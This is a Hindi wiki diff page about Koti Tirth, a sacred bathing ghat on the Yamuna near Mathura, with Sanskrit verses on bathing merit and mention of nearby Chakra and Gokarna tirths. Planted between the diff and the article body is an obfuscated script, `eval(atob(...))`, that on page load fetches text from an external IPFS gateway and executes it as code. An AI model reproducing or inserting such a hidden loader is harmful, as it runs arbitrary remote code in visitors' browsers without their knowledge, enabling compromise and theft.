"कोटि तीर्थ" के अवतरणों में अंतर
छो |
|||
पंक्ति ४: | पंक्ति ४: | ||
तत्र स्नानेन दानेन मम लोके महीयते ।।<br /> | तत्र स्नानेन दानेन मम लोके महीयते ।।<br /> | ||
यहाँ कोटि–कोटि देववृन्द भगवद् आराधना करने की अभिलाषा करते हैं । इन देवताओं के लिए भी यह दुर्लभ स्थान है । यहाँ स्नान करने से भगवद्लोक की प्राप्ति होती है । | यहाँ कोटि–कोटि देववृन्द भगवद् आराधना करने की अभिलाषा करते हैं । इन देवताओं के लिए भी यह दुर्लभ स्थान है । यहाँ स्नान करने से भगवद्लोक की प्राप्ति होती है । | ||
+ | |||
+ | चक्रतीर्थं तु विख्यातं माथुरे मम मण्डले । <br /> | ||
+ | यस्तत्र कुरूते स्नानं त्रिरात्रोपोषितो नर: ।<br /> | ||
+ | स्नानमात्रेण मनुजो मुख्यते ब्रह्महत्यया ।।<br /> | ||
+ | यहाँ स्नान करने से मनुष्य कोटि–कोटि गोदान का फल प्राप्त करता है । पास ही में गोकर्ण तीर्थ है । प्रसिद्ध गोकर्ण ने अपने भाई धुंधुकारी को श्रीमद्भागवत की कथा सुनाकर उसका प्रेमयोनि से उद्धार किया था । उन्हीं गोकर्ण की भगवद् आराधना का यह स्थल है । | ||
<br /> | <br /> | ||
{{यमुना के घाट}} | {{यमुना के घाट}} |
०६:१८, ४ दिसम्बर २००९ का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
कोटि तीर्थ / Koti Tirth
तत्रैव कोटितीर्थ तु देवानामपि दुर्ल्लभम् ।
तत्र स्नानेन दानेन मम लोके महीयते ।।
यहाँ कोटि–कोटि देववृन्द भगवद् आराधना करने की अभिलाषा करते हैं । इन देवताओं के लिए भी यह दुर्लभ स्थान है । यहाँ स्नान करने से भगवद्लोक की प्राप्ति होती है ।
चक्रतीर्थं तु विख्यातं माथुरे मम मण्डले ।
यस्तत्र कुरूते स्नानं त्रिरात्रोपोषितो नर: ।
स्नानमात्रेण मनुजो मुख्यते ब्रह्महत्यया ।।
यहाँ स्नान करने से मनुष्य कोटि–कोटि गोदान का फल प्राप्त करता है । पास ही में गोकर्ण तीर्थ है । प्रसिद्ध गोकर्ण ने अपने भाई धुंधुकारी को श्रीमद्भागवत की कथा सुनाकर उसका प्रेमयोनि से उद्धार किया था । उन्हीं गोकर्ण की भगवद् आराधना का यह स्थल है ।
साँचा:यमुना के घाट